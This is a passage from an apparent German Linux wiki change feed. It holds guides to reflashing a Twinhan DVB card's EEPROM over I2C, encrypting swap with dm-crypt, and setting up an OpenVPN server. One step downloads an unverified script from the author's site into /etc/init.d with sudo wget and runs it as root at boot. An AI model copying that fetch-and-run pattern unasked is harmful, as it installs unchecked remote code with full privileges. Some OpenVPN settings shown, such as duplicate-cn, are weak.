Unter Debian:&lt;br /&gt;
 /etc/modprobe.d/twinhan erstellen&lt;br /&gt;
 (&amp;quot;touch /etc/modprobe.d/twinhan&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
Dort fuegen wir folgende Zeilen hinzu (zb &amp;quot;nano /etc/modprobe.conf&amp;quot; oder &amp;quot;nano /etc/modprobe.d/twinhan&amp;quot;):&lt;br /&gt;
&lt;br /&gt;
 alias char-major-81-0 dvb bttv &lt;br /&gt;
 install bttv modprobe dvb-core; modprobe --ignore-install bttv &amp;amp;&amp;amp; modprobe dst &amp;amp;&amp;amp; modprobe dvb-bt8xx &lt;br /&gt;
 options bttv i2c_hw=1 card=0x71&lt;br /&gt;
 options dst dst_type=0&lt;br /&gt;
&lt;br /&gt;
Danach PC ausschalten, Karte wieder einbauen und PC wieder starten.&lt;br /&gt;
Nun sollte Linux eigentlich die Karte schon erkennen und auch bis zum ende booten.&lt;br /&gt;
Nun koennte man eigentlich alles so belassen, aber wir wollen die karte ja so neu schreiben,&lt;br /&gt;
dass sie automatisch von jedem Linux erkannt wird und man die Karte nicht immer wieder ausbauen muss.&lt;br /&gt;
&lt;br /&gt;
Nun kommen wir zum neu beschreiben der Karte (ALLES AUF EIGENE VERANTWORTUNG!!!)&lt;br /&gt;
&lt;br /&gt;
Folgende befehle als root ausfuehren, um die Module zu laden und alle Busses aufzulisten und den richtigen Bus der Twinhan Karte zu finden:&lt;br /&gt;
&lt;br /&gt;
 modprobe i2c-dev&lt;br /&gt;
 i2cdetect -l&lt;br /&gt;
&lt;br /&gt;
Zum Beispiel:&lt;br /&gt;
 WorkServer:~ # modprobe i2c-dev&lt;br /&gt;
 WorkServer:~ # i2cdetect -l&lt;br /&gt;
 i2c-2   smbus           bt878 #0 [hw]                           Non-I2C SMBus adapter&lt;br /&gt;
 i2c-1   smbus           SMBus nForce2 adapter at 5500           Non-I2C SMBus adapter&lt;br /&gt;
 i2c-0   smbus           SMBus nForce2 adapter at 5000           Non-I2C SMBus adapter&lt;br /&gt;
&lt;br /&gt;
Hier waere es der Bus 2 (i2c-2).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 i2cdetect BUS&lt;br /&gt;
Hier BUS mit der Bus ID ersetzen, in unserem bespiel mit 2.&lt;br /&gt;
&lt;br /&gt;
 WorkServer:~ # i2cdetect 2&lt;br /&gt;
 WARNING! This program can confuse your I2C bus, cause data loss and worse!&lt;br /&gt;
 I will probe file /dev/i2c-2.&lt;br /&gt;
 I will probe address range 0x03-0x77.&lt;br /&gt;
 Continue? [Y/n] Y&lt;br /&gt;
      0  1  2  3  4  5  6  7  8  9  a  b  c  d  e  f&lt;br /&gt;
 00:          XX XX XX XX XX XX XX XX XX XX XX XX XX&lt;br /&gt;
 10: XX XX XX XX XX XX XX XX XX XX UU XX XX XX XX XX&lt;br /&gt;
 20: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX&lt;br /&gt;
 30: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX&lt;br /&gt;
 40: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX&lt;br /&gt;
 50: 50 XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX&lt;br /&gt;
 60: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX&lt;br /&gt;
 70: XX XX XX XX XX XX XX XX&lt;br /&gt;
&lt;br /&gt;
Wie man sieht hat die 1020/1022 normalerweisse einen aktiven Chip auf 0x50.&lt;br /&gt;
VORSICHT NICHT DEN BUS VERWECHSELN!!!&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 i2cdump BUS 0x50&lt;br /&gt;
&lt;br /&gt;
Ab hier muessen wir sicher sein das der Eeprom mit fefe:0001 beschrieben ist.&lt;br /&gt;
Zu erkennen beim Kernel Stop oder mit dem i2cdump Befehl.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 i2cset -y BUS 0x50 0xfc 0x00 b&lt;br /&gt;
 i2cset -y BUS 0x50 0xfd 0x01 b&lt;br /&gt;
 i2cset -y BUS 0x50 0xfe 0x18 b&lt;br /&gt;
 i2cset -y BUS 0x50 0xff 0x22 b&lt;br /&gt;
&lt;br /&gt;
Hiermit beschreiben wir den Eeprom mit der richtigen ID 1822:0001 neu.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 i2cdump -y BUS 0x50&lt;br /&gt;
&lt;br /&gt;
Hiermit pruefen wir alles noch einmal.&lt;br /&gt;
&lt;br /&gt;
 WorkServer:~ # i2cdump -y 2 0x50&lt;br /&gt;
 No size specified (using byte-data access)&lt;br /&gt;
      0  1  2  3  4  5  6  7  8  9  a  b  c  d  e  f    0123456789abcdef&lt;br /&gt;
 00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff    ................&lt;br /&gt;
 10: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff    ................&lt;br /&gt;
 20: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff    ................&lt;br /&gt;
 30: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff    ................&lt;br /&gt;
 40: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff    ................&lt;br /&gt;
 50: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff    ................&lt;br /&gt;
 60: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff    ................&lt;br /&gt;
 70: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff    ................&lt;br /&gt;
 80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff    ................&lt;br /&gt;
 90: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff    ................&lt;br /&gt;
 a0: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff    ................&lt;br /&gt;
 b0: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff    ................&lt;br /&gt;
 c0: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff    ................&lt;br /&gt;
 d0: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff    ................&lt;br /&gt;
 e0: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff    ................&lt;br /&gt;
 f0: ff ff ff ff ff ff ff ff fe ff ff ff 00 01 18 22    ........?....??&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nun koennen wir die Zeilen fuer SuSE auch wieder aus der /etc/modprobe.conf entfernen oder fuer Debian&lt;br /&gt;
die Datei /etc/modprobe.d/twinhan loeschen (&amp;quot;rm /etc/modprobe.d/twinhan&amp;quot;) und dann den PC neustarten.&lt;br /&gt;
Jetzt sollte die Twinhan 1020a/1022a automatisch von jedem Linux erkannt werden, sofern der richtige&lt;br /&gt;
Treiber installiert ist oder im Kernel als module enthalten ist.&lt;/div&gt;</summary>
		<author><name>SOliver</name></author>
	</entry>
	<entry>
		<id>https://wiki.oppserver.net/index.php?title=Linux&amp;diff=87</id>
		<title>Linux</title>
		<link rel="alternate" type="text/html" href="https://wiki.oppserver.net/index.php?title=Linux&amp;diff=87"/>
		<updated>2013-04-29T18:59:32Z</updated>

		<summary type="html">&lt;p&gt;SOliver: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;* [[CRYPTOLOOP FAQ]]&lt;br /&gt;
* [[DM-CRYPT FAQ]]&lt;br /&gt;
* [[SWAP CRYPTEN]]&lt;br /&gt;
* [[SCREEN SCROLL FAQ]]&lt;br /&gt;
* [[TAR SPLITTEN]]&lt;br /&gt;
* [[VMWare NTFS-3G FAQ]]&lt;br /&gt;
* [[TWINHAN 1020a/1022a KERNEL HANGUP FAQ]]&lt;/div&gt;</summary>
		<author><name>SOliver</name></author>
	</entry>
	<entry>
		<id>https://wiki.oppserver.net/index.php?title=SWAP_CRYPTEN&amp;diff=86</id>
		<title>SWAP CRYPTEN</title>
		<link rel="alternate" type="text/html" href="https://wiki.oppserver.net/index.php?title=SWAP_CRYPTEN&amp;diff=86"/>
		<updated>2013-04-29T18:47:18Z</updated>

		<summary type="html">&lt;p&gt;SOliver: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;SWAP CRYPTEN (Stand 25.11.2011) [ © Oliver Schuetz aka OppTupacShakur | http://OPPServer.net | http://unix.oppserver.net ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Um swap zu crypten muss cryptosetup(dm-crypt) installiert sein.&lt;br /&gt;
 sudo aptitude install cryptosetup&lt;br /&gt;
&lt;br /&gt;
Nun laden wir uns folgendes Script http://unix.oppserver.net/crypt/dmswap:&lt;br /&gt;
 sudo wget http://unix.oppserver.net/crypt/dmswap -O /etc/init.d/dmswap&lt;br /&gt;
&lt;br /&gt;
Andern die Partitionsangaben nach unseren Beduerfnissen:&lt;br /&gt;
 cryptsetup -c aes-cbc-essiv:sha256 -d /dev/urandom create swap0 /dev/hdxx&lt;br /&gt;
 mkswap /dev/mapper/swap0&lt;br /&gt;
 swapon /dev/mapper/swap0&lt;br /&gt;
&lt;br /&gt;
Und machen es mit &amp;quot;sudo chmod +x /etc/init.d/dmswap&amp;quot; ausfuehrbar.&lt;br /&gt;
Nun wie folgt das Script beim Systemstart starten lassen.&lt;br /&gt;
&lt;br /&gt;
Im Falle von Debian:&lt;br /&gt;
 sudo ln -s /etc/init.d/dmswap /etc/rc2.d/S01dmswap&lt;br /&gt;
 sudo ln -s /etc/init.d/dmswap /etc/rc3.d/S01dmswap&lt;br /&gt;
 sudo ln -s /etc/init.d/dmswap /etc/rc4.d/S01dmswap&lt;br /&gt;
 sudo ln -s /etc/init.d/dmswap /etc/rc5.d/S01dmswap&lt;br /&gt;
oder&lt;br /&gt;
 sudo update-rc.d-insserv dmswap defaults&lt;br /&gt;
&lt;br /&gt;
Im Falle von SuSE:&lt;br /&gt;
 sudo ln -s /etc/init.d/dmswap /etc/init.d/rc2.d/S01dmswap&lt;br /&gt;
 sudo ln -s /etc/init.d/dmswap /etc/init.d/rc3.d/S01dmswap&lt;br /&gt;
 sudo ln -s /etc/init.d/dmswap /etc/init.d/rc4.d/S01dmswap&lt;br /&gt;
 sudo ln -s /etc/init.d/dmswap /etc/init.d/rc5.d/S01dmswap&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nun noch folgende Aenderung an eurer /etc/fstab vornehmen:&lt;br /&gt;
 /dev/mapper/swap0       none            swap    sw,noauto              0       0&lt;br /&gt;
&lt;br /&gt;
Und ab jetzt ist swap nach dem booten gecryptet, wahlweisse kann mach &amp;quot;sudo /etc/init.d/dmswap&amp;quot; auch manuell ausfuehren ohne Reboot.&lt;/div&gt;</summary>
		<author><name>SOliver</name></author>
	</entry>
	<entry>
		<id>https://wiki.oppserver.net/index.php?title=SWAP_CRYPTEN&amp;diff=85</id>
		<title>SWAP CRYPTEN</title>
		<link rel="alternate" type="text/html" href="https://wiki.oppserver.net/index.php?title=SWAP_CRYPTEN&amp;diff=85"/>
		<updated>2013-04-29T18:44:55Z</updated>

		<summary type="html">&lt;p&gt;SOliver: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;SWAP CRYPTEN (Stand 25.11.2011) [ © Oliver Schuetz aka OppTupacShakur | http://OPPServer.net | http://unix.oppserver.net ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Um swap zu crypten muss cryptosetup(dm-crypt) installiert sein.&lt;br /&gt;
 sudo aptitude install cryptosetup&lt;br /&gt;
&lt;br /&gt;
Nun laden wir uns folgendes Script http://unix.oppserver.net/crypt/dmswap:&lt;br /&gt;
 sudo wget http://unix.oppserver.net/crypt/dmswap -O /etc/init.d/dmswap&lt;br /&gt;
&lt;br /&gt;
Andern die Partitionsangaben nach unseren Beduerfnissen:&lt;br /&gt;
 cryptsetup -c aes-cbc-essiv:sha256 -d /dev/urandom create swap0 /dev/hdxx&lt;br /&gt;
 mkswap /dev/mapper/swap0&lt;br /&gt;
 swapon /dev/mapper/swap0&lt;br /&gt;
&lt;br /&gt;
Und machen es mit &amp;quot;sudo chmod +x /etc/init.d/dmswap&amp;quot; ausfuehrbar.&lt;br /&gt;
Nun wie folgt das Script beim Systemstart starten lassen.&lt;br /&gt;
&lt;br /&gt;
Im Falle von Debian:&lt;br /&gt;
 sudo ln -s /etc/init.d/dmswap /etc/rc2.d/S01dmswap&lt;br /&gt;
 sudo ln -s /etc/init.d/dmswap /etc/rc3.d/S01dmswap&lt;br /&gt;
 sudo ln -s /etc/init.d/dmswap /etc/rc4.d/S01dmswap&lt;br /&gt;
 sudo ln -s /etc/init.d/dmswap /etc/rc5.d/S01dmswap&lt;br /&gt;
Im Falle von SuSE:&lt;br /&gt;
 sudo ln -s /etc/init.d/dmswap /etc/init.d/rc2.d/S01dmswap&lt;br /&gt;
 sudo ln -s /etc/init.d/dmswap /etc/init.d/rc3.d/S01dmswap&lt;br /&gt;
 sudo ln -s /etc/init.d/dmswap /etc/init.d/rc4.d/S01dmswap&lt;br /&gt;
 sudo ln -s /etc/init.d/dmswap /etc/init.d/rc5.d/S01dmswap&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nun noch folgende Aenderung an eurer /etc/fstab vornehmen:&lt;br /&gt;
 /dev/mapper/swap0       none            swap    sw,noauto              0       0&lt;br /&gt;
&lt;br /&gt;
Und ab jetzt ist swap nach dem booten gecryptet, wahlweisse kann mach &amp;quot;sudo /etc/init.d/dmswap&amp;quot; auch manuell ausfuehren ohne Reboot.&lt;/div&gt;</summary>
		<author><name>SOliver</name></author>
	</entry>
	<entry>
		<id>https://wiki.oppserver.net/index.php?title=SWAP_CRYPTEN&amp;diff=84</id>
		<title>SWAP CRYPTEN</title>
		<link rel="alternate" type="text/html" href="https://wiki.oppserver.net/index.php?title=SWAP_CRYPTEN&amp;diff=84"/>
		<updated>2013-04-29T18:44:29Z</updated>

		<summary type="html">&lt;p&gt;SOliver: Die Seite wurde neu angelegt: „SWAP CRYPTEN (Stand 25.11.2011) [ © Oliver Schuetz aka OppTupacShakur | http://OPPServer.net | http://unix.oppserver.net ]   Um swap zu crypten muss cryptoset…“&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;SWAP CRYPTEN (Stand 25.11.2011) [ © Oliver Schuetz aka OppTupacShakur | http://OPPServer.net | http://unix.oppserver.net ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Um swap zu crypten muss cryptosetup(dm-crypt) installiert sein.&lt;br /&gt;
 sudo aptitude install cryptosetup&lt;br /&gt;
&lt;br /&gt;
Nun laden wir uns folgendes Script http://unix.oppserver.net/crypt/dmswap:&lt;br /&gt;
 sudo wget http://unix.oppserver.net/crypt/dmswap -O /etc/init.d/dmswap&lt;br /&gt;
&lt;br /&gt;
Andern die Partitionsangaben nach unseren Beduerfnissen:&lt;br /&gt;
 cryptsetup -c aes-cbc-essiv:sha256 -d /dev/urandom create swap0 /dev/hdxx&lt;br /&gt;
 mkswap /dev/mapper/swap0&lt;br /&gt;
 swapon /dev/mapper/swap0&lt;br /&gt;
&lt;br /&gt;
Und machen es mit &amp;quot;sudo chmod +x /etc/init.d/dmswap&amp;quot; ausfuehrbar.&lt;br /&gt;
Nun wie folgt das Script beim Systemstart starten lassen.&lt;br /&gt;
Im Falle von Debian:&lt;br /&gt;
 sudo ln -s /etc/init.d/dmswap /etc/rc2.d/S01dmswap&lt;br /&gt;
 sudo ln -s /etc/init.d/dmswap /etc/rc3.d/S01dmswap&lt;br /&gt;
 sudo ln -s /etc/init.d/dmswap /etc/rc4.d/S01dmswap&lt;br /&gt;
 sudo ln -s /etc/init.d/dmswap /etc/rc5.d/S01dmswap&lt;br /&gt;
Im Falle von SuSE:&lt;br /&gt;
 sudo ln -s /etc/init.d/dmswap /etc/init.d/rc2.d/S01dmswap&lt;br /&gt;
 sudo ln -s /etc/init.d/dmswap /etc/init.d/rc3.d/S01dmswap&lt;br /&gt;
 sudo ln -s /etc/init.d/dmswap /etc/init.d/rc4.d/S01dmswap&lt;br /&gt;
 sudo ln -s /etc/init.d/dmswap /etc/init.d/rc5.d/S01dmswap&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nun noch folgende Aenderung an eurer /etc/fstab vornehmen:&lt;br /&gt;
 /dev/mapper/swap0       none            swap    sw,noauto              0       0&lt;br /&gt;
&lt;br /&gt;
Und ab jetzt ist swap nach dem booten gecryptet, wahlweisse kann mach &amp;quot;sudo /etc/init.d/dmswap&amp;quot; auch manuell ausfuehren ohne Reboot.&lt;/div&gt;</summary>
		<author><name>SOliver</name></author>
	</entry>
	<entry>
		<id>https://wiki.oppserver.net/index.php?title=Linux&amp;diff=83</id>
		<title>Linux</title>
		<link rel="alternate" type="text/html" href="https://wiki.oppserver.net/index.php?title=Linux&amp;diff=83"/>
		<updated>2013-04-29T18:42:10Z</updated>

		<summary type="html">&lt;p&gt;SOliver: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;* [[CRYPTOLOOP FAQ]]&lt;br /&gt;
* [[DM-CRYPT FAQ]]&lt;br /&gt;
* [[SWAP CRYPTEN]]&lt;br /&gt;
* [[SCREEN SCROLL FAQ]]&lt;br /&gt;
* [[TAR SPLITTEN]]&lt;br /&gt;
* [[VMWare NTFS-3G FAQ]]&lt;/div&gt;</summary>
		<author><name>SOliver</name></author>
	</entry>
	<entry>
		<id>https://wiki.oppserver.net/index.php?title=SCREEN_SCROLL_FAQ&amp;diff=82</id>
		<title>SCREEN SCROLL FAQ</title>
		<link rel="alternate" type="text/html" href="https://wiki.oppserver.net/index.php?title=SCREEN_SCROLL_FAQ&amp;diff=82"/>
		<updated>2013-04-29T18:40:59Z</updated>

		<summary type="html">&lt;p&gt;SOliver: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;SCREEN SCROLL FAQ (Stand 08.03.2011) [ © Oliver Schuetz aka OppTupacShakur | http://OPPServer.ath.cx | http://unix.oppserver.net ]&lt;br /&gt;
&lt;br /&gt;
In /etc/screenrc folgendes ersetzen:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#termcapinfo xterm|xterms|xs|rxvt ti@:te@&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
gegen&lt;br /&gt;
&lt;br /&gt;
termcapinfo xterm|xterms|xs|rxvt ti@:te@&lt;/div&gt;</summary>
		<author><name>SOliver</name></author>
	</entry>
	<entry>
		<id>https://wiki.oppserver.net/index.php?title=SCREEN_SCROLL_FAQ&amp;diff=81</id>
		<title>SCREEN SCROLL FAQ</title>
		<link rel="alternate" type="text/html" href="https://wiki.oppserver.net/index.php?title=SCREEN_SCROLL_FAQ&amp;diff=81"/>
		<updated>2013-04-29T18:40:23Z</updated>

		<summary type="html">&lt;p&gt;SOliver: Die Seite wurde neu angelegt: „SCREEN SCROLL FAQ (Stand 08.03.2011) [ © Oliver Schuetz aka OppTupacShakur | http://OPPServer.ath.cx | http://unix.oppserver.net ]  In /etc/screenrc folgendes…“&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;SCREEN SCROLL FAQ (Stand 08.03.2011) [ © Oliver Schuetz aka OppTupacShakur | http://OPPServer.ath.cx | http://unix.oppserver.net ]&lt;br /&gt;
&lt;br /&gt;
In /etc/screenrc folgendes ersetzen:&lt;br /&gt;
&lt;br /&gt;
#termcapinfo xterm|xterms|xs|rxvt ti@:te@&lt;br /&gt;
&lt;br /&gt;
gegen&lt;br /&gt;
&lt;br /&gt;
termcapinfo xterm|xterms|xs|rxvt ti@:te@&lt;/div&gt;</summary>
		<author><name>SOliver</name></author>
	</entry>
	<entry>
		<id>https://wiki.oppserver.net/index.php?title=Linux&amp;diff=80</id>
		<title>Linux</title>
		<link rel="alternate" type="text/html" href="https://wiki.oppserver.net/index.php?title=Linux&amp;diff=80"/>
		<updated>2013-04-29T18:39:58Z</updated>

		<summary type="html">&lt;p&gt;SOliver: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;* [[CRYPTOLOOP FAQ]]&lt;br /&gt;
* [[DM-CRYPT FAQ]]&lt;br /&gt;
* [[SCREEN SCROLL FAQ]]&lt;br /&gt;
* [[TAR SPLITTEN]]&lt;br /&gt;
* [[VMWare NTFS-3G FAQ]]&lt;/div&gt;</summary>
		<author><name>SOliver</name></author>
	</entry>
	<entry>
		<id>https://wiki.oppserver.net/index.php?title=DEBIAN_OPENVPN_FAQ&amp;diff=79</id>
		<title>DEBIAN OPENVPN FAQ</title>
		<link rel="alternate" type="text/html" href="https://wiki.oppserver.net/index.php?title=DEBIAN_OPENVPN_FAQ&amp;diff=79"/>
		<updated>2013-04-29T18:38:17Z</updated>

		<summary type="html">&lt;p&gt;SOliver: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;DEBIAN OPENVPN FAQ (Stand 29.04.2013) [ © Oliver Schuetz aka OppTupacShakur | http://OPPServer.net | http://unix.oppserver.net ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Als root einloggen!!!&lt;br /&gt;
Die IP Range 10.11.12.x kann natuerlich gegen jede andere Private IP Range gewechselt werden, z.B. 192.168.100.x.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Bevor wir OpenVPN installieren, pruefen wir ob es das tun device gibt:&lt;br /&gt;
&lt;br /&gt;
 cat /dev/net/tun &lt;br /&gt;
&lt;br /&gt;
Falls man die Meldung &amp;quot;File descriptor in bad state&amp;quot; bekommt, ist alles in Ordnung.&lt;br /&gt;
Falls nicht, muss man seinen Server/VPS/VServer Provider bitten tun/tap zu aktivieren.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Zunaechst installieren wir openVPN auf dem Server und auf dem Client:&lt;br /&gt;
 aptitude install openvpn&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dann stellen wir sicher, dass keine ungewollten Configs herumschwirren (openVPN erstellt gerne Samples)&lt;br /&gt;
und loeschen die Dateien (nicht die Ordner) innerhalb von /etc/openvpn:&lt;br /&gt;
 rm -rf /etc/openvpn/examples&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Auf dem Server erstellen wir unsere Schluessel und Zertifikate. Daher kopieren wir die easy-rsa-Tools von&lt;br /&gt;
openVPN ins Config-Verzeichnis:&lt;br /&gt;
 cp -rf /usr/share/doc/openvpn/examples/easy-rsa/2.0 /etc/openvpn/easy-rsa&lt;br /&gt;
 cd /etc/openvpn/easy-rsa&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nun bereiten wir das easy-rsa-Tool auf das Erstellen der Zertifikate und Schluessel vor:&lt;br /&gt;
Dazu editieren wir zunaechst die vars mit userem Lieblingseditor (z.B. nano /etc/openvpn/easy-rsa/vars).&lt;br /&gt;
Dabei interessieren eigentlich nur die Werte fuer &amp;quot;KEY_SIZE&amp;quot;, wo wir 2048 nehmen, &amp;quot;CA_EXPIRE&amp;quot;, wo wir&lt;br /&gt;
fuer die Ewigkeit 7300 (20 Jahre) nehmen, &amp;quot;KEY_EXPIRE&amp;quot;, wo wir 7300 (20 Jahre) nehmen, und &amp;quot;KEY_COUNTRY&amp;quot;,&lt;br /&gt;
&amp;quot;KEY_PROVINCE&amp;quot;, &amp;quot;KEY_CITY&amp;quot;, &amp;quot;KEY_ORG&amp;quot; und &amp;quot;KEY_EMAIL&amp;quot;, was wohl selbsterklaerend ist.&lt;br /&gt;
Damit diese Werte verwendet werden, lesen wir sie in unsere Shell-Sitzung ein:&lt;br /&gt;
 . ./vars&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Um zunaechst reinen Tisch zu machen, fuehren wir das Clean-Tool aus, erstellen eine neue CA und erzeugen&lt;br /&gt;
einen Diffie-Hellman-Parameter mit 2048 Bit:&lt;br /&gt;
 ./clean-all&lt;br /&gt;
 ./build-ca&lt;br /&gt;
 ./build-dh&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Wenn die Erzeugung des Diffie-Hellman-Paramters abgeschlossen ist, erzeugen wir nun noch ein Server-Zertifikat:&lt;br /&gt;
 ./build-key-server [Server-Name]&lt;br /&gt;
&lt;br /&gt;
Bei [Server-Name] koennen wir dabei einsetzen, was wir wollen. Wichtig ist dabei, dass der Name (CN) absolut&lt;br /&gt;
eindeutig bleibt. Auch sollte bedacht werden, dass wir fuer verschiedene Configs nicht mehrere&lt;br /&gt;
Zertifikat-Key-Paare benoetigen. Wir muessen also keine komplizierten Namen bestehend aus Verwendungszweck&lt;br /&gt;
und Hostnamen verwenden. Ich empfehle ein simples &amp;quot;openVPN-Server&amp;quot;. Was genau da nun drinsteht,&lt;br /&gt;
interessiert letztendlich niemanden mehr.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Um nun Client-Zertifikate zu erstellen, ist ab sofort nur noch folgendes Procedere noetig,&lt;br /&gt;
uebrigens wann immer man moechte:&lt;br /&gt;
&lt;br /&gt;
 . ./vars&lt;br /&gt;
 ./build-key [Client-Name]&lt;br /&gt;
Am Ende mit 2x y bestaetigen.&lt;br /&gt;
&lt;br /&gt;
Bitte auch hier auf die Eindeutigkeit des Client-Namens achten.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nun legen wir noch einen Link fuer die Keys an und erstellen das client dir:&lt;br /&gt;
 ln -s /etc/openvpn/easy-rsa/keys /etc/openvpn/keys&lt;br /&gt;
 mkdir /etc/openvpn/clients&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Jetzt legen wir auf dem Server eine Config unter /etc/openvpn/ an, z.B.  &amp;quot;server.conf&amp;quot;. Die endung &amp;quot;.conf&amp;quot; ist&lt;br /&gt;
dabei fuer den Daemon wichtig, denn alle .conf-Dateien in diesem Verzeichnis werden vom Init-Script automatisch&lt;br /&gt;
bei Systemstart gestartet und beim Shutdown gestoppt:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 # Diese Config initiiert einen Server mit mehreren Clients&lt;br /&gt;
 mode server&lt;br /&gt;
 &lt;br /&gt;
 # zusaetzlich TLS-Authentication-Server&lt;br /&gt;
 tls-server&lt;br /&gt;
 &lt;br /&gt;
 # lokale IP&lt;br /&gt;
 local [IP des Servers]&lt;br /&gt;
 &lt;br /&gt;
 # Um die Rechte einzuschraenken&lt;br /&gt;
 user nobody&lt;br /&gt;
 group nogroup&lt;br /&gt;
 &lt;br /&gt;
 # Port (beliebig, nur mind. 4-stellig)&lt;br /&gt;
 port 5000&lt;br /&gt;
 &lt;br /&gt;
 # UDP ist Pflicht fuer TAP, wir nutzen aber TUN&lt;br /&gt;
 ;proto udp&lt;br /&gt;
 proto tcp&lt;br /&gt;
 &lt;br /&gt;
 # Das Device muss fuer bridging TAP sein, wir nutzen aber TUN&lt;br /&gt;
 ;dev tap&lt;br /&gt;
 dev tun&lt;br /&gt;
 &lt;br /&gt;
 # Hiermit vergeben wir dem Server und den Clients IPs&lt;br /&gt;
 server 10.11.12.0 255.255.255.0&lt;br /&gt;
 &lt;br /&gt;
 ca /etc/openvpn/keys/ca.crt&lt;br /&gt;
 cert /etc/openvpn/keys/[Server-Name].crt&lt;br /&gt;
 key /etc/openvpn/keys/[Server-Name].key&lt;br /&gt;
 dh /etc/openvpn/keys/dh2048.pem&lt;br /&gt;
 &lt;br /&gt;
 # Wir komprimieren, um die Bandbreite zu verbessern&lt;br /&gt;
 comp-lzo&lt;br /&gt;
 &lt;br /&gt;
 # Welcher Verschluesselungs-Algorithmus?&lt;br /&gt;
 cipher AES-256-CBC&lt;br /&gt;
 &lt;br /&gt;
 # Aufrechterhaltung der Verbindung&lt;br /&gt;
 keepalive 10 120&lt;br /&gt;
 &lt;br /&gt;
 # Client-to-Client-Traffic erlauben&lt;br /&gt;
 client-to-client&lt;br /&gt;
 &lt;br /&gt;
 # Clients mit selben Key erlauben zu verbinden&lt;br /&gt;
 duplicate-cn&lt;br /&gt;
 &lt;br /&gt;
 # Max. Anzahl an Clients erlauben&lt;br /&gt;
 max-clients 100&lt;br /&gt;
 &lt;br /&gt;
 # einige log Configs&lt;br /&gt;
 persist-key&lt;br /&gt;
 persist-tun&lt;br /&gt;
 status openvpn-status.log&lt;br /&gt;
 verb 3&lt;br /&gt;
 nice -10&lt;br /&gt;
 &lt;br /&gt;
 # Clients eigene Configs zuteilen (siehe unten)&lt;br /&gt;
 client-config-dir clients&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Jetzt bekommt jeder normale Benutzer eine IP-Adresse von 10.11.12.0/24. Unsere &amp;quot;speziellen&amp;quot;&lt;br /&gt;
Benutzer muessen noch mithilfe des common names vom Zertifikat spezielle Regeln bekommen, dazu&lt;br /&gt;
gibt es den Befehl client-config-dir &amp;lt;Verzeichnis&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
 client-config-dir clients&lt;br /&gt;
&lt;br /&gt;
Je nach common name vom Zertifikat wird jetzt die Konfiguration clients/[Client-Name] aufgerufen.&lt;br /&gt;
Jetzt brauchen wir nur noch Dateien fuer die entsprechenden Benutzer erstellen:&lt;br /&gt;
&lt;br /&gt;
 clients/client1:&lt;br /&gt;
    ifconfig-push 10.11.12.6 10.11.12.5&lt;br /&gt;
 clients/client2:&lt;br /&gt;
    ifconfig-push 10.11.12.10 10.11.12.9&lt;br /&gt;
&lt;br /&gt;
ifconfig-push weisst den Clients eine virtuelle IP zu, die kann dann per routing auf die&lt;br /&gt;
entsprechenden Server gerouted werden. Die erste IP-Adresse gibt die Adresse des virtuellen&lt;br /&gt;
Clients an, die 2. des virtuellen Server endpoints. Laut openvpn.org-HOWTO muessen Sie aus /30&lt;br /&gt;
Subnets geholt werden, damit die Windows Clients/TAP-Win32 Treiber mitspielen.&lt;br /&gt;
&lt;br /&gt;
Quote von http://openvpn.net/howto.html:&lt;br /&gt;
